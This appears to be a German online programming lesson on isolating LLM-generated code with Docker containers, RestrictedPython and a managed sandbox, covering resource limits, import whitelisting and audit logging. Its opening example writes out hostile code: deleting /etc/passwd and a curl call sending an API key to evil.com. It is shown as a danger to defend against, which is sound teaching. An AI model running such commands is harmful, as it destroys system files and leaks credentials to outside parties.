0Pricing
AI Engineering Academy · Lektion

Sandboxing mit Docker und RestrictedPython

Erstellen Sie isolierte Ausführungsumgebungen mit Docker-Containern, Ressourcenbeschränkungen, Netzwerkisolation und schreibgeschützten Dateisystemen, um nicht vertrauenswürdigen, von LLMs generierten Code sicher auszuführen.

Sandboxing mit Docker und RestrictedPython ist eine kostenlose AI Engineering Academy-Lektion auf CoddyKit. Dies ist Lektion 2 von 4. Du kannst die komplette Lektion unten kostenlos lesen – dann übst du sie direkt im Browser mit einem integrierten Code-Editor und einem KI-Tutor rund um die Uhr. Sie ist Teil des AI Engineering Academy-Lernpfads, und dein Fortschritt wird über Web und CoddyKit-App synchronisiert. Der AI Engineering Academy-Kurs umfasst insgesamt 4 Lektionen.

Warum Code-Sandboxing unverzichtbar ist

Von einem LLM generierter Code wird mit denselben Berechtigungen wie der aufrufende Prozess ausgeführt. Ein unachtsam erstelltes oder böswillig eingeschleustes Codefragment kann Dateien löschen, Umgebungsvariablen mit API-Schlüsseln auslesen, Netzwerkanfragen senden, RAM oder CPU erschöpfen oder Hintertüren installieren. Sandboxing erstellt eine isolierte Ausführungsumgebung, die die Möglichkeiten des generierten Codes begrenzt und Codeausführungsagenten dadurch sicher genug für den Produktivbetrieb macht.

# Example of dangerous code an LLM might generate
import os
import subprocess

# Without sandboxing, this runs with full host permissions:
os.remove('/etc/passwd')              # deletes system file
subprocess.run(['curl', 'http://evil.com', '-d', os.environ['OPENAI_API_KEY']])  # exfiltrates secrets
while True: pass                      # exhausts CPU

# Sandboxing prevents ALL of this

Docker als Sandbox

Docker-Container sind die praktischste Sandbox für durch LLMs generierten Code im Produktivbetrieb. Für jede Codeausführung wird ein neuer Container erstellt, der auf einem minimalen Image basiert und strenge Ressourcenlimits für CPU, Arbeitsspeicher und Zeit besitzt. Der Container hat keinen Zugriff auf das Dateisystem des Hosts (außer auf ein ausdrücklich eingebundenes Arbeitsverzeichnis), und der Netzwerkzugriff ist deaktiviert oder auf eine Positivliste beschränkt. Nach Abschluss der Ausführung wird der Container gelöscht.

import docker
import tempfile
import os

client = docker.from_env()

def execute_in_docker(code: str, timeout=30) -> tuple[str, str]:
    # Write code to temp file
    with tempfile.NamedTemporaryFile(mode='w', suffix='.py', delete=False) as f:
        f.write(code)
        host_path = f.name
    
    try:
        container = client.containers.run(
            image='python:3.11-slim',           # minimal Python image
            command=f'python /workspace/code.py',
            volumes={host_path: {'bind': '/workspace/code.py', 'mode': 'ro'}},
            mem_limit='256m',                   # max 256 MB RAM
            cpu_period=100000,
            cpu_quota=50000,                    # 50% of 1 CPU core
            network_disabled=True,              # no internet access
            read_only=True,                     # read-only root filesystem
            remove=True,                        # auto-delete container
            timeout=timeout
        )
        return container.decode('utf-8'), ''
    except docker.errors.ContainerError as e:
        return '', e.stderr.decode('utf-8')
    finally:
        os.unlink(host_path)

Ressourcenlimits in Docker

Docker stellt detaillierte Ressourcensteuerungen für Sandbox-Container bereit. Die wichtigsten festzulegenden Limits sind: mem_limit zur Begrenzung des Arbeitsspeichers (z. B. 256m), cpu_quota zur Begrenzung der CPU-Zeit, pids_limit zur Verhinderung von Fork-Bomben sowie ein timeout zum Beenden hängenden Codes. Ohne diese Limits könnte ein schlecht geschriebenes oder böswilliges Codefragment den gesamten Host-Rechner zum Absturz bringen, indem es alle verfügbaren Ressourcen erschöpft.

sandbox_config = {
    'image': 'code-sandbox:latest',
    'mem_limit': '256m',        # 256 MB max RAM
    'memswap_limit': '256m',    # no swap (prevents RAM expansion via swap)
    'cpu_quota': 50000,         # 50% of a CPU core
    'cpu_period': 100000,
    'pids_limit': 64,           # max 64 processes (prevents fork bombs)
    'network_disabled': True,   # no network
    'read_only': True,          # read-only root filesystem
    'tmpfs': {'/tmp': ''},      # writable /tmp in memory only
    'security_opt': ['no-new-privileges'],  # prevent privilege escalation
    'cap_drop': ['ALL'],        # drop all Linux capabilities
    'remove': True,             # auto-remove after execution
}

Ein Codeausführungs-Image erstellen

Wenn Sie Code in einem minimalen python:3.11-slim-Image ausführen, sind keine Data-Science-Bibliotheken verfügbar. Erstellen Sie ein benutzerdefiniertes Sandbox-Image, in dem die Pakete vorinstalliert sind, die Ihre Code-Agenten normalerweise benötigen (pandas, numpy, matplotlib, scikit-learn). So müssen sie zur Laufzeit keinen Internetzugriff haben, um Pakete zu installieren. Die Vorinstallation beschleunigt die Ausführung außerdem erheblich.

# Dockerfile for code sandbox
# FROM python:3.11-slim
# 
# RUN pip install --no-cache-dir \
#     pandas==2.1.0 \
#     numpy==1.25.0 \
#     matplotlib==3.7.0 \
#     scikit-learn==1.3.0 \
#     requests==2.31.0 \
#     beautifulsoup4==4.12.0
# 
# # Create non-root user for extra security
# RUN useradd -m sandbox
# USER sandbox
# 
# WORKDIR /workspace

# Build: docker build -t code-sandbox:latest .
# The agent uses this image for every execution

RestrictedPython für Sandboxing innerhalb des Prozesses

RestrictedPython ist eine Python-Bibliothek, die Code mit auf AST-Ebene durchgesetzten Sicherheitsbeschränkungen kompiliert. Sie blockiert gefährliche integrierte Funktionen (exec, eval, __import__), schränkt den Attributzugriff ein und verhindert den Zugriff auf Dunder-Methoden. RestrictedPython läuft im selben Prozess (ohne Docker-Overhead) und ist dadurch deutlich schneller, bietet jedoch eine schwächere Isolation als Docker und eignet sich besser für einfachen Code mit geringem Risiko.

from RestrictedPython import compile_restricted, safe_globals, safe_builtins
from RestrictedPython.Guards import safe_iter_unpack_sequence, guarded_getitem

def execute_restricted(code: str) -> dict:
    # Compile with restrictions
    byte_code = compile_restricted(code, '<string>', 'exec')
    
    # Define a restricted global namespace
    restricted_globals = {
        '__builtins__': safe_builtins,  # no exec, eval, __import__, open
        '_getiter_': iter,
        '_getitem_': guarded_getitem,
        '_iter_unpack_sequence_': safe_iter_unpack_sequence,
        'print': print,  # allow print
    }
    
    local_vars = {}
    exec(byte_code, restricted_globals, local_vars)
    return local_vars

# Test
try:
    result = execute_restricted('x = 2 + 2\nprint(x)')
except Exception as e:
    print('Blocked:', e)

Docker und RestrictedPython im Vergleich

Die beiden Ansätze für Sandboxing haben unterschiedliche Vor- und Nachteile. Docker bietet eine echte Isolation auf Betriebssystemebene: Jede Ausführung erfolgt in einem separaten Prozess ohne gemeinsamen Zustand, und selbst ein Versuch, eine Kernel-Schwachstelle auszunutzen, bleibt auf den Container beschränkt. Der Nachteil ist ein Start-Overhead von 0,5–2 Sekunden pro Ausführung. RestrictedPython startet innerhalb von Millisekunden und benötigt keine Container-Infrastruktur, bietet jedoch eine deutlich schwächere Isolation und weist bekannte Umgehungsmöglichkeiten für komplexe Angriffe auf.

# Decision guide
def choose_sandbox(requirements: dict) -> str:
    if requirements.get('user_provided_code'):  # untrusted third party code
        return 'docker'  # must use Docker for true isolation
    
    if requirements.get('needs_filesystem_access'):
        return 'docker'  # Docker volumes are safer
    
    if requirements.get('low_latency_critical'):  # < 100ms per execution
        return 'restrictedpython'  # no container startup overhead
    
    if requirements.get('llm_generated_internal_only'):  # your own trusted agent
        return 'restrictedpython'  # acceptable risk, faster
    
    return 'docker'  # default to stronger isolation when in doubt

Erlaubte Operationen per Whitelisting festlegen

Sowohl Docker als auch RestrictedPython unterstützen Whitelisting: Dabei werden ausdrücklich nur die Operationen erlaubt, die der Code-Agent tatsächlich benötigt, anstatt alles Gefährliche zu blockieren. Sie können beispielsweise Operationen von pandas und numpy erlauben, aber subprocess, socket und os.system blockieren. Whitelisting ist sicherer als Blacklisting, da Sie nicht jeden möglichen Angriffsvektor vorhersehen müssen.

from RestrictedPython import safe_builtins
import pandas as pd
import numpy as np

# Whitelist approach: only provide what agents should use
ALLOWED_MODULES = {
    'pandas': pd,
    'numpy': np,
    # NOT allowed: subprocess, socket, os, sys, importlib
}

def make_restricted_globals():
    builtins = dict(safe_builtins)  # safe subset of Python builtins
    builtins['__import__'] = make_guarded_import(ALLOWED_MODULES)
    return {'__builtins__': builtins, **ALLOWED_MODULES}

def make_guarded_import(allowed: dict):
    def guarded_import(name, *args, **kwargs):
        if name not in allowed:
            raise ImportError(f'Import of {name} is not allowed in sandbox')
        return allowed[name]
    return guarded_import

Persistente Workspace-Volumes

Ein Code-Agent muss häufig Zwischendateien schreiben (etwa eine bereinigte CSV-Datei oder ein generiertes Diagramm), die die nächste Code-Iteration einlesen kann. Verwenden Sie in Docker ein Workspace-Volume: ein Verzeichnis auf dem Host, das mit Lese- und Schreibzugriff in den Container eingebunden wird. Jede Containerausführung innerhalb derselben Sitzung verwendet dieses Volume gemeinsam. Dadurch kann der Agent über mehrere Iterationen hinweg einen Arbeitsbereich mit Dateien aufbauen, während das Root-Dateisystem des Containers schreibgeschützt bleibt.

import os
import tempfile

class AgentWorkspace:
    def __init__(self):
        self.dir = tempfile.mkdtemp(prefix='agent_workspace_')
        os.chmod(self.dir, 0o755)
        print(f'Workspace created: {self.dir}')

    def get_docker_mount(self):
        return {self.dir: {'bind': '/workspace', 'mode': 'rw'}}

    def list_files(self):
        return os.listdir(self.dir)

    def cleanup(self):
        import shutil
        shutil.rmtree(self.dir)
        print('Workspace cleaned up')

# Usage across iterations
workspace = AgentWorkspace()

for i, code in enumerate(agent_generated_code_iterations):
    volumes = workspace.get_docker_mount()
    output, err = execute_in_docker(code, volumes=volumes)
    # Code in iteration 2 can read files written by iteration 1

Sandboxing in Cloud-Umgebungen

In der Produktion möchten Sie Code-Sandboxen häufig in der Cloud statt auf Ihrem API-Server ausführen. Dienste wie AWS Lambda (mit eingeschränkter VPC), Container in Google Cloud Run oder dedizierte Sandboxing-Dienste wie E2B (e2b.dev) stellen verwaltete, isolierte Ausführungsumgebungen bereit. E2B wurde speziell für KI-Code-Agenten entwickelt und bietet eine schnell startende Python-Sandbox mit einer einfachen API.

# E2B managed sandbox (e2b.dev)
from e2b_code_interpreter import Sandbox

def execute_with_e2b(code: str) -> tuple[str, str]:
    with Sandbox() as sandbox:
        execution = sandbox.run_code(code)
        stdout = '\n'.join(execution.logs.stdout)
        stderr = '\n'.join(execution.logs.stderr)
        return stdout, stderr

# E2B handles: sandboxing, resource limits, network isolation
# Each sandbox starts in ~100ms and auto-expires after the session
output, error = execute_with_e2b('import pandas as pd\ndf = pd.DataFrame({"a": [1,2,3]})\nprint(df)')

Überwachung und Audit-Protokollierung

Protokollieren Sie aus Gründen der Sicherheitsüberprüfung trotz des Sandboxings jede Codeausführung. Erfassen Sie den vollständigen zur Ausführung übermittelten Code, Zeitstempel und Dauer der Ausführung, die Agent-Sitzung und den Benutzer, der sie ausgelöst hat, die stdout/stderr-Ausgabe sowie alle versuchten Sicherheitsverletzungen (blockierte Importe und erreichte Ressourcenlimits). Diese Prüfspur ist unverzichtbar, um unerwartetes Verhalten zu untersuchen und die Einhaltung von Vorgaben nachzuweisen.

import time
import hashlib

def audited_execute(code: str, agent_id: str, session_id: str) -> dict:
    code_hash = hashlib.sha256(code.encode()).hexdigest()[:16]
    start = time.time()
    
    stdout, stderr = execute_in_docker(code)
    
    audit_record = {
        'agent_id': agent_id,
        'session_id': session_id,
        'code_hash': code_hash,
        'code_preview': code[:200],  # first 200 chars
        'start_time': start,
        'duration_ms': (time.time() - start) * 1000,
        'had_error': bool(stderr),
        'output_length': len(stdout)
    }
    write_audit_log(audit_record)
    return {'stdout': stdout, 'stderr': stderr, 'audit': audit_record}

Mehrschichtige Absicherung von Code-Agenten

Keine einzelne Sandboxing-Mechanik ist perfekt. Setzen Sie auf mehrschichtige Absicherung: Kombinieren Sie die Isolation durch Docker mit Ressourcenlimits, verwenden Sie im Container einen Benutzer ohne Root-Rechte, deaktivieren Sie den Netzwerkzugriff, nutzen Sie ein schreibgeschütztes Root-Dateisystem mit einem tmpfs für /tmp, führen Sie den Container in einer separaten VM oder Cloud-Funktion mit geringen Berechtigungen aus und überwachen Sie die Ausführung auf ungewöhnliche Ressourcennutzung. Mehrere unabhängige Schutzschichten sorgen dafür, dass die Umgehung einer einzelnen Schicht nicht das gesamte System gefährdet.

Schnelltest

Testen Sie Ihr Verständnis des Sandboxings für Codeausführungen aus dieser Lektion.

Zusammenfassung der Lektion

In dieser Lektion haben Sie gelernt: Docker-Sandboxing gilt als Goldstandard für die sichere Ausführung von durch LLMs generiertem Code und nutzt Isolation auf Containerebene, Ressourcenlimits und Netzwerkbeschränkungen; RestrictedPython ist eine schnellere, aber schwächere Alternative innerhalb desselben Prozesses, die sich für interne Agenten mit geringem Risiko eignet; und mehrschichtige Absicherung kombiniert mehrere Schutzebenen, da keine einzelne Mechanik ausreicht. Als Nächstes behandeln wir die Zustandsverwaltung über mehrere Codeausführungsschritte hinweg.

Häufig gestellte Fragen

Ist die Lektion „Sandboxing mit Docker und RestrictedPython“ kostenlos?

Ja — der vollständige Text von „Sandboxing mit Docker und RestrictedPython“ ist hier im Web kostenlos zu lesen. Um sie interaktiv zu üben (integrierter Code-Editor und 24/7 KI-Tutor) und den Rest des AI Engineering Academy-Kurses freizuschalten, upgrade auf CoddyKit PRO. Der AI Engineering Academy-Kurs umfasst insgesamt 4 Lektionen.

Was lerne ich in „Sandboxing mit Docker und RestrictedPython“?

Erstellen Sie isolierte Ausführungsumgebungen mit Docker-Containern, Ressourcenbeschränkungen, Netzwerkisolation und schreibgeschützten Dateisystemen, um nicht vertrauenswürdigen, von LLMs generierte… Du übst AI Engineering Academy mit praktischem Code, den du direkt im Browser ausführst, und ein 24/7 KI-Tutor beantwortet deine Fragen während du die Lektion bearbeitest.

Brauche ich Erfahrung, um AI Engineering Academy zu starten?

Keine Vorkenntnisse erforderlich. AI Engineering Academy auf CoddyKit ist für Anfänger bis fortgeschrittene Lernende strukturiert, sodass du hier starten oder von Anfang an beginnen und in deinem eigenen Tempo voranschreiten kannst. Dies ist Lektion 2 von 4.

Wie lange dauert die Lektion „Sandboxing mit Docker und RestrictedPython“?

Die meisten CoddyKit-Lektionen dauern etwa 5–10 Minuten. Jede ist kompakt und interaktiv, sodass du stetig Fortschritte machst und genau dort weitermachst, wo du aufgehört hast – im Web und in der App.

Kann ich in dieser AI Engineering Academy-Lektion Code schreiben und ausführen?

Ja. Jede AI Engineering Academy-Lektion enthält einen integrierten Code-Editor, sodass du echten Code direkt in deinem Browser schreibst und ausführst und sofort KI-Feedback erhältst — ohne lokale Einrichtung erforderlich.

Alle Lektionen in diesem Kurs

  1. Die Code-Ausführungsschleife
  2. Sandboxing mit Docker und RestrictedPython
  3. Zustandsverwaltung über mehrere Ausführungsschritte hinweg
  4. Einen Datenanalyse-Agent entwickeln
← Zurück zu AI Engineering Academy